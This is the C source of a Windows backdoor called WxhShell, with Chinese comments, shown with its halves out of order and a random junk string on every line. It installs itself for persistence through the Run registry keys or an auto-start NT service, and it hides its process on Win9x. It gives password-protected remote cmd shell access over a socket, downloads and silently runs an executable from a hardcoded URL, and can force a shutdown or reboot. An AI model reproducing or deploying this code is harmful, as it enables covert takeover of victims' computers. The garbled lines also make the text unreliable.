    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tkptm%I _  
    if(Boot(SHUTDOWN)) WRbdv{ 1E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f:P;_/cJc  
    else { b(U5n"cdA  
    closesocket(wsh); R86i2',  
    ExitThread(0); /160pl 4  
    } N@Ap|`Ei  
    break; [Pq |6dz  
    } 5IzCQqOPgX  
  // 获取shell Lf a&JKd  
  case 's': { 1xkk5\3]  
    CmdShell(wsh); L?a4>uVY  
    closesocket(wsh); Z{%W!>0  
    ExitThread(0); sng6U;Z  
    break; OUN~7]OD%  
  } +DefV,Ny  
  // 退出 qD"~5vtLqQ  
  case 'x': { NODg_J~T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d8 v9[ 4  
    CloseIt(wsh); I WT|dA >  
    break; ^f(El(w  
    } _E0yzkS  
  // 离开 $b^niL  
  case 'q': { [zP}G?(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1:DA{ejS  
    closesocket(wsh); .;bU["fn)  
    WSACleanup(); B\=T_'E&  
    exit(1); 8&+u+@H  
    break; Y nTx)uW  
        } SFP?ND+7  
  } 0#Q]>V@rO4  
  } h3\(660>$  
WqCER^~'>  
  // 提示信息 8c%N+E]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]5j>O^c<  
} E 6Uj8]P`  
  } 8ce'G" b  
^{8CShUCv  
  return; Bbb":c6w0  
} N/2WUp  
\\oa[nvL~  
// shell模块句柄 IY}GU 2#  
int CmdShell(SOCKET sock) [ f<g?w  
{ i3(5 '  
STARTUPINFO si; %vG;'_gM B  
ZeroMemory(&si,sizeof(si)); G%jV}7h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]P^ 3uXi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ja{x}n*5  
PROCESS_INFORMATION ProcessInfo; m60hTJ?N)  
char cmdline[]="cmd"; @@!]Raj=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `B3YP1  
  return 0; [>Zg6q|  
} JV2[jo}0 N  
6l"4F6  
// 自身启动模式 -s91/|n  
int StartFromService(void) tM:$H6m/(  
{ xTZJ5iZ17  
typedef struct hJ8B&u(  
{ PIsXX#`7;  
  DWORD ExitStatus; [H`5mY@  
  DWORD PebBaseAddress; #Oa`P  
  DWORD AffinityMask; WL\*g] K4  
  DWORD BasePriority; $nf %<Q  
  ULONG UniqueProcessId; `;Fs  
  ULONG InheritedFromUniqueProcessId; D/2;b;-  
}   PROCESS_BASIC_INFORMATION; qV$0 ";d  
Zc9S[ivq  
PROCNTQSIP NtQueryInformationProcess; c-?0~A  
_UF'Cf+Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6k1_dRu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T(kG"dz   
/hGu42YG  
  HANDLE             hProcess; 1eS@ihkP  
  PROCESS_BASIC_INFORMATION pbi; ^g+M=jq _  
HhTD/   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m?1AgsBR  
  if(NULL == hInst ) return 0; )Z`OkkabnD  
(rf8"T!"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Op iVQr:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W%#LHluP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UzkX;UA  
\mwxV!!b$  
  if (!NtQueryInformationProcess) return 0; YQ}IE[J}v  
dM5N1$1,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )x&>Cf<,  
  if(!hProcess) return 0; pH?"@  
`?(9Bl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]=5D98B  
l]P3oB}Yo  
  CloseHandle(hProcess); RLF]Wa,  
YYd!/@|N5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \XG\  
if(hProcess==NULL) return 0; "Ze<dB#,Y  
.iEzEmu  
HMODULE hMod; % wh>_Ho  
char procName[255]; 8.D9OpU  
unsigned long cbNeeded; |?uUw$oh  
(w, Gv-S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qH*Fv:qnM  
9jt+PII  
  CloseHandle(hProcess); nx`I9j\  
JwmH_nJ(  
if(strstr(procName,"services")) return 1; // 以服务启动 ;jT@eBJ  
E#+|.0*!s  
  return 0; // 注册表启动 @RI\CqFHR  
} _WHGd&u  
j}@n`[V1  
// 主模块 Jg%jmI;Y  
int StartWxhshell(LPSTR lpCmdLine) 25jgM!QBXF  
{ lhx]r}@'MC  
  SOCKET wsl; 7-MkfWH2b6  
BOOL val=TRUE; ]kyGm2Ty9  
  int port=0; 8 gzf$Oc  
  struct sockaddr_in door; U_C 1GT-|  
c{K[bppJ*  
  if(wscfg.ws_autoins) Install(); G8!* &vR/  
si3@R?WR6*  
port=atoi(lpCmdLine); yixAG^<  
Kh2!c+Mw  
if(port<=0) port=wscfg.ws_port; x1R<oB |  
vTUhIFa{  
  WSADATA data; XfH[: XG3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rnTjw "%  
WkR=(dss8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <;nhb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E >lW'  
  door.sin_family = AF_INET; l^E)XWd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uu+)r  
  door.sin_port = htons(port); .=<<b|  
\J,pV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _mn2bc9M  
closesocket(wsl); Ow4H7 sl  
return 1; P+t`Rw  
} &F#K=R| .j  
eJwHeG  
  if(listen(wsl,2) == INVALID_SOCKET) { 79O'S du@  
closesocket(wsl); b;%>?U`>p  
return 1; v)J(@>CZ[  
} RYuR&0_{  
  Wxhshell(wsl); 2Bg0 M  
  WSACleanup(); p? L*vcU  
Vmf !0-  
return 0; 8rY[Q(]  
s'Wu \r'  
} $|%BaEyk  
W 2.Ap  
// 以NT服务方式启动 R /0zB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T.?}iz=ZEq  
{ FEwPLViso  
DWORD   status = 0; '| rhm  
  DWORD   specificError = 0xfffffff; HS >B\Ip"  
SM8Wg>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S@Q4fmH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ft><Ql3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]<Kkq !  
  serviceStatus.dwWin32ExitCode     = 0; e> -fI_+b  
  serviceStatus.dwServiceSpecificExitCode = 0; d !=AS  
  serviceStatus.dwCheckPoint       = 0; G3_HX<|f*  
  serviceStatus.dwWaitHint       = 0; fobnK~2  
;Qq<5I"y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $~5ax8u&!#  
  if (hServiceStatusHandle==0) return; L| K8  
>&%#`PKT  
status = GetLastError(); +nU=)x?38  
  if (status!=NO_ERROR) '4"c#kCKL  
{ !@3"vd{^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?8]g&V  
    serviceStatus.dwCheckPoint       = 0; PQJw"[N/YM  
    serviceStatus.dwWaitHint       = 0; 3}kG ]#  
    serviceStatus.dwWin32ExitCode     = status; ^ i8"eF  
    serviceStatus.dwServiceSpecificExitCode = specificError; yB2}[1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =k^ d5  
    return; +*L<"@  
  }  BDfJ  
9zE/SDu7\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tg6iHFa  
  serviceStatus.dwCheckPoint       = 0; C8t;E`  
  serviceStatus.dwWaitHint       = 0; CWY-}M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TY;%nT  
} Q4ZKgcC  
Kw=][}d`D  
// 处理NT服务事件,比如:启动、停止 IN7Cpg~9%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H7%q[O  
{ 4t,f$zk  
switch(fdwControl) \c4D|7\=  
{ S\L^ZH?[2  
case SERVICE_CONTROL_STOP: 08G${@D+X0  
  serviceStatus.dwWin32ExitCode = 0; U%)-_ *`z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i F \H  
  serviceStatus.dwCheckPoint   = 0; ; ,n}>iTE  
  serviceStatus.dwWaitHint     = 0; %f5c,}  
  { r T_J6F5J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:e5l19 uI  
  } X wIKpr8  
  return; QjOY1Xze  
case SERVICE_CONTROL_PAUSE: "7J38Ej\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {Y|?~ha#  
  break; G@P+M1c  
case SERVICE_CONTROL_CONTINUE: K_F"j!0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -QK- w>  
  break; =[,EFkU?B  
case SERVICE_CONTROL_INTERROGATE: |j=Pj)5J  
  break; RQ;w$I\  
}; I,W `s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tMH 2  
} ny:/a  
\aN7[>R.Q  
// 标准应用程序主函数 f7/M_sx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {q! :t0X.Y  
{ {F;"m&3Lt  
.d6b ?t  
// 获取操作系统版本 &v#pS!UOj  
OsIsNt=GetOsVer(); Va[t'%~&zR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y`."=8R~  
^l<!:SS  
  // 从命令行安装 T: SqENV  
  if(strpbrk(lpCmdLine,"iI")) Install(); qM<CBcON  
.}Eckqkp  
  // 下载执行文件 p'A43  
if(wscfg.ws_downexe) { (TU/EU5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @z^7*#vQv  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gk xtGe  
} q07H{{h/B  
<}T7;knO  
if(!OsIsNt) { N:;z~`  
// 如果时win9x,隐藏进程并且设置为注册表启动 a(kY,<}  
HideProc(); p3>Md?e  
StartWxhshell(lpCmdLine); ;iW>i8  
} bFSs{\zE  
else @}2EEo#  
  if(StartFromService()) gJ~CD1`O  
  // 以服务方式启动 |w+ O.%=  
  StartServiceCtrlDispatcher(DispatchTable); k136n#KN1  
else yb,X }"Et  
  // 普通方式启动 H%>^_:h  
  StartWxhshell(lpCmdLine); KcUR /o5K  
h^ K]ASj  
return 0; PEMBh?)g  
} q0DRT4K  
zI\+]U'  
P| hwLM  
G;d3.ml/aZ  
=========================================== vCXmu_S4^>  
$f%om)  
Fy0sn|  
hxMV?\MYj  
m41%?uC/  
=dsEt\ j  
" o/Q|R+yXV  
4j8$& ~/  
#include <stdio.h> wWSo+40  
#include <string.h> uEf=Vj}G  
#include <windows.h> !8D>Bczq)  
#include <winsock2.h> 97qf3^gGd  
#include <winsvc.h> ~KV{m  
#include <urlmon.h> Ql%B=vgKL  
,FXc_BCx4  
#pragma comment (lib, "Ws2_32.lib") V]GF53D  
#pragma comment (lib, "urlmon.lib") *[m:4\  
P]TT8Jgw  
#define MAX_USER   100 // 最大客户端连接数 (z8 ;J> 7  
#define BUF_SOCK   200 // sock buffer kDXQpe  
#define KEY_BUFF   255 // 输入 buffer ,L lYRj 5  
>rJ**y  
#define REBOOT     0   // 重启 )2#&l  
#define SHUTDOWN   1   // 关机 w/"vf3}(9  
9X,iQ  
#define DEF_PORT   5000 // 监听端口 8a&c=9  
=@S a\;  
#define REG_LEN     16   // 注册表键长度 4HR36=E6  
#define SVC_LEN     80   // NT服务名长度 @56*r@4:q  
*8uS,s6g  
// 从dll定义API u{h67N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p2k`)=iX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wy8Q=X:vP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a DXaQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w%plK6:6  
xm1'  
// wxhshell配置信息 ^yqRa&  
struct WSCFG { *^Ges;5 $"  
  int ws_port;         // 监听端口  S,ea[$_  
  char ws_passstr[REG_LEN]; // 口令 )QRT/, ;c  
  int ws_autoins;       // 安装标记, 1=yes 0=no X d o\DQn  
  char ws_regname[REG_LEN]; // 注册表键名 s^SU6P/ ]  
  char ws_svcname[REG_LEN]; // 服务名 ~, E }^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UP$>,05z6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :CK`v6 Qs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lS#: u-k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?o$ t{AQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #z _<{' P"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JN4gH4ez)  
/e[m;+9^&  
}; 'S9o!hb'@  
t72u%M6  
// default Wxhshell configuration &P>& T  
struct WSCFG wscfg={DEF_PORT, `GW&*[.7  
    "xuhuanlingzhe", }Hq3]LVE  
    1, 6W{Nw<  
    "Wxhshell", `e~i<Pi  
    "Wxhshell", leb/D>y  
            "WxhShell Service", 2G$p x  
    "Wrsky Windows CmdShell Service", O39   
    "Please Input Your Password: ", TfT^.p*  
  1, -gk2$P-  
  "http://www.wrsky.com/wxhshell.exe", ZO cpF1y  
  "Wxhshell.exe" ?bt;i>O\  
    }; `4snTM!v&  
(]T[n={Y  
// 消息定义模块 yj#FO'UY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iQ(j_i'+!I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T#i;=NP"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - _ 8-i1?  
char *msg_ws_ext="\n\rExit."; H"(#Tp ZTE  
char *msg_ws_end="\n\rQuit."; G4*&9Wo  
char *msg_ws_boot="\n\rReboot..."; f S/:OnH  
char *msg_ws_poff="\n\rShutdown..."; (lS[a  
char *msg_ws_down="\n\rSave to "; % &&)[  
%J9u?-~  
char *msg_ws_err="\n\rErr!"; 3<+ZA-2  
char *msg_ws_ok="\n\rOK!"; > ^zNKgSQ  
?A7 AVR  
char ExeFile[MAX_PATH]; m(MQ  
int nUser = 0; T9& {s-3*  
HANDLE handles[MAX_USER]; >'W,8F  
int OsIsNt; u&uFXOc'  
z9 Ch %A{  
SERVICE_STATUS       serviceStatus; Q"D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?%$O7_ThvA  
F nXm;k,9*  
// 函数声明 3IQI={:k|D  
int Install(void); CEkUXsp  
int Uninstall(void); KYw7Jx`l  
int DownloadFile(char *sURL, SOCKET wsh); , +J)`+pJx  
int Boot(int flag); 6'kQ(r>  
void HideProc(void); i 0/QfB%O  
int GetOsVer(void); }Vob)r{R@  
int Wxhshell(SOCKET wsl); >AX_"Q~  
void TalkWithClient(void *cs);  K];]  
int CmdShell(SOCKET sock); ]r 0j  
int StartFromService(void); i6k6l%  
int StartWxhshell(LPSTR lpCmdLine); TMY. z  
0Zwx3[bq6K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =TNFAt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1!G}*38;  
XZ]ji9'  
// 数据结构和表定义 EK=0oy[  
SERVICE_TABLE_ENTRY DispatchTable[] = iYvzZ7 8f  
{ ,LxZbo!  
{wscfg.ws_svcname, NTServiceMain}, C F','gPnc  
{NULL, NULL} |[iO./ zP  
}; Qd YYWD   
R|(X_A  
// 自我安装 0j4n1 1#  
int Install(void) :{)uD ;  
{ >'q]ypA1  
  char svExeFile[MAX_PATH]; t !6sU]{  
  HKEY key; j>;1jzr2}  
  strcpy(svExeFile,ExeFile); z-kv{y*Hu  
N}%AUm/L  
// 如果是win9x系统,修改注册表设为自启动 \ [OB.  
if(!OsIsNt) { r2+ZxMo|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W`vPf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v5\ALWy+p  
  RegCloseKey(key); $dKfUlO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o96c`a u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z(Uz<*h8  
  RegCloseKey(key); 7Ko*`-p  
  return 0; O>h h  
    } 2>^(&95M  
  } zF^H*H  
} e8dZR3JL  
else { 5lD`qY  
<)a$5"AP  
// 如果是NT以上系统,安装为系统服务 |-{e!&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BNE:,I*&  
if (schSCManager!=0) QnBWZUI  
{ G)[gLD{g?  
  SC_HANDLE schService = CreateService @.a59kP8X  
  ( |pBFmm*  
  schSCManager, SC%HHu\l  
  wscfg.ws_svcname, .!L{yU,  
  wscfg.ws_svcdisp, oXh t$Q  
  SERVICE_ALL_ACCESS, RAu(FJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HU/4K7e`  
  SERVICE_AUTO_START, v)O].Hd  
  SERVICE_ERROR_NORMAL, q({-C  
  svExeFile, w/ZP. B  
  NULL, hNYO+LrI)  
  NULL, {na>)qzKP  
  NULL, Lz_.m  
  NULL, @|"K"j#  
  NULL &g90q   
  ); XY6Sm{  
  if (schService!=0) |P& \C8h  
  { u@:[ dbJ  
  CloseServiceHandle(schService); 4zhh **]B  
  CloseServiceHandle(schSCManager); 'j{o!T0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A7#nBHwxZ  
  strcat(svExeFile,wscfg.ws_svcname); K/Y"oQ2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `_1fa7,z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >h~ik/|*  
  RegCloseKey(key); CF-tod  
  return 0; qhTVsZ:{C  
    } di+ |` O  
  } pN9U1!|uam  
  CloseServiceHandle(schSCManager); ep},~tPZn  
} ?-2s}IJO  
} x<rS2d-Y  
Crj7n/mp]s  
return 1; 3rHn?  
} C .B=E"e  
tmBt[  
// 自我卸载 2/A*\  
int Uninstall(void) Q;z!]hjBM  
{ JJg;X :p  
  HKEY key; [FF}HWf  
xj8z*fC;  
if(!OsIsNt) { KlS#f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t~4Cf])  
  RegDeleteValue(key,wscfg.ws_regname); T4}Wg=UKg  
  RegCloseKey(key); jy>?+hm?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {fV$\^c  
  RegDeleteValue(key,wscfg.ws_regname); =6 zK 1Z  
  RegCloseKey(key); 4:**d[|1  
  return 0; ]o=ON95ja  
  } d)Z&_v<|  
} j+ L:Ao  
} CSW+UaE  
else { ]2|fc5G'  
\k"CtzoX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^\`a-l^  
if (schSCManager!=0) v#s*I/kw  
{ ="vg/@.>i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b]xoXC6@t  
  if (schService!=0) H=~7g3  
  { o6~JAvw  
  if(DeleteService(schService)!=0) { :06.b:_  
  CloseServiceHandle(schService); HIE8@Rv/3  
  CloseServiceHandle(schSCManager); zAklS 7L  
  return 0; ?D)$O CS  
  } L$);50E  
  CloseServiceHandle(schService); eYlI};  
  } zd!%7 UP  
  CloseServiceHandle(schSCManager); Os9 EMU$  
}  !j%  
} $-t@=N@vO?  
O(=9&PRi  
return 1; 2T(+VeMQ=  
} Dic|n@_Fy  
MXEI/mDYK  
// 从指定url下载文件 EN/t5d  
int DownloadFile(char *sURL, SOCKET wsh) =6=:OId  
{ HRM-r~2:-]  
  HRESULT hr; B B69U  
char seps[]= "/"; .b<W*4{j0H  
char *token; ^=5y;  
char *file; z6d0Y$A G  
char myURL[MAX_PATH]; > cWE@P  
char myFILE[MAX_PATH]; uCuB>x&  
cqs.[0 z#B  
strcpy(myURL,sURL); OA\] |2 :  
  token=strtok(myURL,seps); 6~W@$SP,F  
  while(token!=NULL) -oUNK}>  
  { ~$[fG}C.K  
    file=token; 8c9<kGm$E  
  token=strtok(NULL,seps); kRX?o'U~C  
  } f`/('}t  
7D:rq 8$\  
GetCurrentDirectory(MAX_PATH,myFILE); L'aB/5_%  
strcat(myFILE, "\\"); sb8bCEm- \  
strcat(myFILE, file); .{`C>/"}  
  send(wsh,myFILE,strlen(myFILE),0); r[;d.3jtP  
send(wsh,"...",3,0); r`EjD}2d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g:y4C6b  
  if(hr==S_OK) 6\K\d_x  
return 0; {}Is&^3Z  
else Q#qfuwz  
return 1; U2WHs3  
EleJ$ `/  
} xypgG;`\  
1%N*GJlwJ  
// 系统电源模块 ?f q!BV  
int Boot(int flag) ' F9gp!s8~  
{ C|3Xz[k{  
  HANDLE hToken; iJ8Z^=>  
  TOKEN_PRIVILEGES tkp; .7b%7dQ<\  
`W~    
  if(OsIsNt) { DQXcf*R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); il !B={  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2=8PA/  
    tkp.PrivilegeCount = 1; {GnZ@Q:F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KZZY9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ivq(eKy  
if(flag==REBOOT) { e_KfnPY   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #(Gz?kGAH`  
  return 0; 0^u Ut-  
} L2EQ 9i'[  
else { +>!nqp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z/?{{}H+  
  return 0; 7/QK"0  
} (y.N-I,  
  } _&S#;ni\c  
  else { "zd_eC5  
if(flag==REBOOT) { r#)1/`h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HNBmq>XDc  
  return 0; Bh cp=#  
} jED.0,+K !  
else { gz[3xH~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u4SL:IH{D  
  return 0; `=#jWZ.8m  
} -mRgB"8  
} ^w~B]*A :"  
|%XTy7^a  
return 1; 2 Kjd!~Z$  
} ycc G>%>r  
bK~Toz< k  
// win9x进程隐藏模块 &5b 3k[K"  
void HideProc(void) n^ fUKi*;  
{ /R=MX>JA;  
W>d)(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q9O_>mZy  
  if ( hKernel != NULL ) ~,1Sw7 rE  
  { a6DR' BC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w($a'&d`0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mWaij]1>  
    FreeLibrary(hKernel); SU~.baP?  
  } V)/J2-w  
A2M( ad  
return; S5 q1M n  
} ( uD^_N]3  
1a{3k#}  
// 获取操作系统版本 a,RCK~GR  
int GetOsVer(void) %mT/y%&:  
{ n Ab~  
  OSVERSIONINFO winfo; $]E+E.P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0x-g0]  
  GetVersionEx(&winfo); xWzybuLp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }BlyEcw'aN  
  return 1; t7F0[E'=5\  
  else g-d{"ZXd J  
  return 0; xo'!$a}I2  
} #4$YQ  
lF!PiL  
// 客户端句柄模块 )x/#sW%)  
int Wxhshell(SOCKET wsl) gp`@dn';  
{ X<;.  
  SOCKET wsh; ~-7/9$ay5  
  struct sockaddr_in client; ,jg #^47I  
  DWORD myID; hTn"/|_SW  
xc}[q`vK  
  while(nUser<MAX_USER) bOr11?  
{ P knOeW"j  
  int nSize=sizeof(client); KUZi3\p9W>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I &iyj 99n  
  if(wsh==INVALID_SOCKET) return 1; S#C-j D  
;`7~Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F7JO/U^oU  
if(handles[nUser]==0) NzQvciJ@"  
  closesocket(wsh); BNdq=|,+"  
else L!Y|`P#Yr  
  nUser++; U%:%. Bys  
  } Ljz)%y[s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9/0H,qZc  
a^J(TW/  
  return 0; /8qR7Z^HZ  
} Hl8-q!  
EWDsBNZaI  
// 关闭 socket ct-Bq  
void CloseIt(SOCKET wsh) Q*#Lr4cm{  
{ {"Sv~L|J;  
closesocket(wsh); WMtFXkf6"  
nUser--; Ro2V-6 /  
ExitThread(0); 1M??@@X  
} X2A k  
A2ye ^<-C.  
// 客户端请求句柄 qA7,txQ:  
void TalkWithClient(void *cs) a8T9=KY^  
{ qLL rR,:  
k(H]ILL  
  SOCKET wsh=(SOCKET)cs; np^&cY]  
  char pwd[SVC_LEN];  ?pEPwc  
  char cmd[KEY_BUFF]; 6NV592  
char chr[1]; -M=BD-_.h  
int i,j; @~hy'6/  
$jh$nMx)!  
  while (nUser < MAX_USER) { n+=qT$w)  
yy{YduI  
if(wscfg.ws_passstr) { y60aJ)rAX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O/#3QK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,HDhP  
  //ZeroMemory(pwd,KEY_BUFF); dM^EYW  
      i=0; tdRvg7v,N%  
  while(i<SVC_LEN) { )KFxtM-  
}b54O\,  
  // 设置超时 Fj<*!J$,  
  fd_set FdRead; #>aq'47j  
  struct timeval TimeOut; F;#$Q  
  FD_ZERO(&FdRead); bxh-#x &  
  FD_SET(wsh,&FdRead); $BehU  
  TimeOut.tv_sec=8; |Yw k  
  TimeOut.tv_usec=0; }w4OCN\1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3mU~G}ig  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @* vVc`;  
k ?KJ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cu>(;=  
  pwd=chr[0]; MUl7o@{'  
  if(chr[0]==0xd || chr[0]==0xa) { *ilh/Hd>  
  pwd=0; P,pC Z+H  
  break; B \R X  
  } {?lndBP<  
  i++; ktfm  
    } |1CX?8)b=  
tco G;ir  
  // 如果是非法用户,关闭 socket 0e0)1;t\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^dLu#,;  
} {K+f& 75  
+r"}@8/\1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KS(H_&j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }y*D(`  
`oNJ=,p  
while(1) { j17h_ a;  
!{+CzUo@  
  ZeroMemory(cmd,KEY_BUFF); [ S  
PY_8*~Z  
      // 自动支持客户端 telnet标准   (y; 6 H  
  j=0; B /uaRi%  
  while(j<KEY_BUFF) { MuMq%uDA"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F<{,W-my `  
  cmd[j]=chr[0]; t<fah3hl  
  if(chr[0]==0xa || chr[0]==0xd) { !dwZ`D  
  cmd[j]=0; s i2@k  
  break; XcT!4xG0  
  } =5*Wu+S4r  
  j++; 'd Be,@  
    } ?WXftzdf6u  
AJ6l#j-  
  // 下载文件 OF`J{`{r  
  if(strstr(cmd,"http://")) { rK'Lvt@w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V~*>/2+  
  if(DownloadFile(cmd,wsh)) # &)H&H}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &c!6e<o[p  
  else wi+Q lf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F8<G9#%s\  
  } OWrQKd  
  else { py7Zh%k  
